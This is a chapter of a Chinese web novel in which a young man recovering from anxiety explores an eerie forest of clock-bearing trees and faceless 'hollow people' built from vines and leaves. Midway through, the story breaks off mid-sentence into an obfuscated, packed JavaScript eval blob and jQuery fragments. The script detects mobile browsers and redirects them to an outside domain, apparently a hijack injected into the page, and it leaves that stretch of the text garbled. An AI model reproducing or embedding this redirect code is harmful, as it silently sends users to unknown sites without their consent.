31.空心人

作品:《星骸岛

    “……小阮,你的人生不会完蛋的,即便你不相信我,也得相信你自己……”


    这是刚刚介入药物治疗时,精神科医生对阮廷榭说的话。


    出神的片刻,这句话又再次涌现在脑中。


    连同那些他曾经无比熟悉的焦虑、无措、惊惶、忧惧一起卷土重来。


    意识到自己几乎失去了一切联系的阮廷榭僵立在原地,素黑的瞳仁中映出纵横交错又光怪陆离的枯藤。正一刻不停,诡谲地移动着。


    即使他觉得自己应该已经痊愈,可此时此刻还是无法抑制地感到恐慌——


    完蛋了。


    无数的念头像碎片一样拼接起来,拼出无数种可能,却没有一种称得上乐观。


    那些停不下来的念头犹如诅咒,让他寸步难行。


    太熟悉了,太讨厌了。


    他讨厌这种感觉,甚至讨厌自己。


    阮廷榭又开始下意识地苛责自己“不够坚强”了。


    ——以往每当他这样做时,总会被索尔敏锐地察觉,然后一遍一遍、不厌其烦地告诉他“Ryan,你对自己的自我关怀还是太少了,脆弱并不是罪过”。


    可现在索尔不在这里。


    ……对,要找到索尔。


    想到这里,阮廷榭回了神。才像终于鼓起一些勇气,决定面对眼前的古怪和凌乱。


    “还好……”阮廷榭看看身上,还剩下一个医用包,他攥了攥医用包的边缘,自我安慰,“至少受伤了还能给自己做急救。”


    如果让他来形容,眼前的世界简直眼花缭乱。


    不止视觉,还有听觉。


    视野中其实只有三样东西:落叶、爬藤和一种他叫不上名字的大树。


    照理说应该都是极其正常普通的东西,奈何此时,每一样看起来都是那么古怪。


    首先是漫天凋零的落叶,可惜此时全无美感,只有萧瑟。枯叶凋谢飘零,一刻不停歇,像是没完没了,永无止境。仿佛大地遗落的信笺,在地下铺了厚厚一层。


    天空不晴也不阴,有一种寂寥的白。


    阮廷榭向前走动,可刚走两步忽然一脚踩空,整个人顿时下陷。


    他往下看,感觉自己像踩进什么地鼠洞,好不容易费力地拔出腿,还好没受伤,结果那个凹陷随即被落叶填充平整,像什么都没有发生过一样。


    这太可怕了。


    就像暗处埋伏的陷阱,你永远不知道哪一步行差踏错,就会掉进去什么坑洞。


    阮廷榭更加谨慎起来。


    其次古怪的,是那些粗壮的大树。


    都说合抱之木生于毫末,可那些直径足有臂长的大树,却能在瞬间拔地而起!


    耳边传来钟表走针的声音。哒哒作响。那声音重重叠叠、巨大而紧迫,在空气中堪比放大的佛经,又如末日来临前正在倒计时的定时炸弹。


    阮廷榭循声望去,最后发现声源恰巧就来自树上——


    每一棵树干的高处,竟然都镶嵌有一只形状相同的圆形时钟。


    太神奇了,他走近观察离自己较近的一棵。时钟表盘似乎是用复古的青铜铸就,三支指针闪烁着冷冽的光,数字则由细碎的宝石镶嵌而成,散发着神秘的质地。


    阮廷榭不禁疑惑,难道它们是随着大树一道长出的?


    然而这还不是最怪的。


    最奇怪的,当属无处不在的爬藤,遍布树干、枝头和地面的落叶中,阮廷榭一时都无法区分清楚,那些迅速移动着的到底是爬藤,还是长蛇。


    它们似乎有自己的意识。


    或者说……任务。


    每当有一棵大树生长出来,哒哒哒哒走针响起,就像一道神秘的指令,爬藤们便会迅速转移,犹如一群灵敏的蛇,立刻群集而上,朝大树裹缠上去。


    那些藤蔓的表皮泛着幽黯绿光,上面布满了细密的绒毛。它们粗细不一,有的纤细如小指,有的粗壮堪比成人的手臂,却都带着同样的急切与贪婪。


    一条条爬藤蜿蜒身躯,迅速攀附上大树,一圈一圈,一层一层,如同编织紧密的罗网,直到大树上再也容不下一点缝隙。


    随即,一场疯狂的掠夺开始了。


    缠绕的爬藤开始变得不再干枯,枝条上长出新绿。


    而其它没“挤”上去、占到位置的枯藤则又会像蛇一般滑下来,缩进地面的落叶中,寻寻觅觅,像在找什么东西。


    厚重无比的落叶层鼓起一条肿胀的包。


    不,是许多条地下爬藤和许多条肿胀的包。它们彼此交错,看起来很是恶心。


    阮廷榭下意识想躲开,不料下一秒枯叶翻腾,一条粗藤冲出落叶,直直竖起——像是找准了核心,瞬间搭建起一个人形脊梁。


    阮廷榭:?


    其余藤蔓迅速跟上,错落有致地构建起四肢的框架。或盘曲、或伸展,像模仿着人体骨骼的形态,透着一股自然的冷峻力量。


    紧接着,大把大把的落叶被藤蔓裹挟而起,纷纷扬扬地贴合在半成型的架构上。


    那些落叶有的完整,有的破碎,带着斑驳的色泽与腐朽的气息——却在这一刻被赋予了诡异的新生。


    这是从落叶中攒出了一个“人”?


    只能说勉强算个人吧,至少是人形。


    阮廷榭仔细观察这人,很明显爬藤是他的骨架,枯叶是他的身躯。


    那人站立起来足有一人多高,身形略显单薄。他一边走动,身上的枯叶就一边掉落,看起来非常诡异。


    更诡异的是他的五官和胸口——那里全都空空如也。


    深陷的眼窝宛如无尽的黑洞,本应是鼻子的地方只有一个微微下凹的浅坑,嘴巴的位置则是一道参差不齐的豁口,仿佛被岁月无情啃噬。


    至于胸口,那是一颗心脏大小的空洞。


    阮廷榭屏息瞪大双眼,这是一个……空心人。


    忽然,更多的地下爬藤冲破落叶肿包,很快,一个个四肢齐全但五官空洞的“空心人”接连从落叶堆中缓缓站起。


    他们迟钝地看看周围,仿佛刚从一场混沌的梦境中苏醒,就那样徘徊在眼前,有形而无神。


    这让阮廷榭想起曾经看过的一个饮料广告。


    在广告中,路上有一个彩色的人,在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765442|155864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正常走路。而周围有许多灰色的人,行尸走肉般斜着走在道路上。


    现在它们就像那些人。


    不知为什么,明明那些人毫无表情可言,还是让阮廷榭感到后背发凉。


    又一棵大树轰然生长出来,走针哒哒哒哒响起,仿佛是一种催促,藤蔓人们猛地一怔,随后拔腿就往树的方向跑去。


    路过阮廷榭身边时,他听到了一句话,那些人在说:“快点、快点、快点。”


    阮廷榭看着他们相互冲撞着一路跑向大树,身上的枯叶簌簌飘落也全然不顾。


    随后,角力的获胜者们迅速缠绕上去。


    粗壮树干肉眼可见的迅速枯萎,变得焦黑卷曲;树枝无力地低垂下来,犹如一声叹息;叶片开始泛黄、凋零,地面于是积了更多落叶。


    而那座时钟,指针依旧不紧不慢地走着,几乎成了这场掠夺之战的无情见证者。


    最终所有叶片全部飘落,从那些藤蔓的缝隙中,掉出来了什么东西。


    一开始,阮廷榭以为是那块时钟。


    他走过去,从落叶中寻摸着,最后捡了出来才发现不是,那是一块透明树脂。或者也可以叫做,琥珀。


    他不禁抬头,这样粗壮的一棵树,到凋零时刻,也只凝结了这样小小一块琥珀。


    阮廷榭仔细端详手里的琥珀,他对这东西有一种别样的偏爱——因为索尔送他的第一份礼物,也是一颗琥珀。只不过比这个大,成色更好也更精致。


    不过没关系,阮廷榭想着,他可以把这块琥珀带给索尔。


    忽然,一阵拖沓的脚步声响起,阮廷榭抬头,发现眼前是一个空心人——而这人刚才显然失败了,并没有抢到大树上的位置。


    空心人走近,来到他身边,向阮廷榭伸出一只手,像是在索要什么。


    阮廷榭有点忐忑,背过手,虽然心里在打鼓,但还是镇定地问道,“……要什么?”


    可是很奇怪的,这个问题像是把那人问住了。他怔愣着,看向自己的手——尽管那只是五根干枯的藤条,然后空洞的双眼又重新看向阮廷榭,发出干涩的音节:“不知道。”


    “不知道?”阮廷榭也有点懵,他皱起眉重复道,“不知道……自己要什么?”


    藤蔓人的脑袋歪到左边,又歪到右边,茫然若失,似乎遇上了无法理解的难题,又说,“不知道……”


    这是什么情况……


    阮廷榭思索片刻,重新换了个问题,开口问道:“那你知道,这里是什么地方吗?”


    藤蔓人收回手,像是受到了巨大的挫败,自顾自地转身,缓缓离开,不断重复:“不知道,不知道,不知道……”


    一问三不知,这一切都太古怪了。


    阮廷榭注视着空心人远去的背影,决定不能再坐以待毙。


    又一棵大树从另一个位置生长出来,新的走针声响起了。


    刚才的空心人一怔,连同许多身影立刻调转方向再一次变得忙碌起来,发出熟悉的音节:“快点、快点、快点。”


    快点、快点、快点……


    否则就要,来不及了。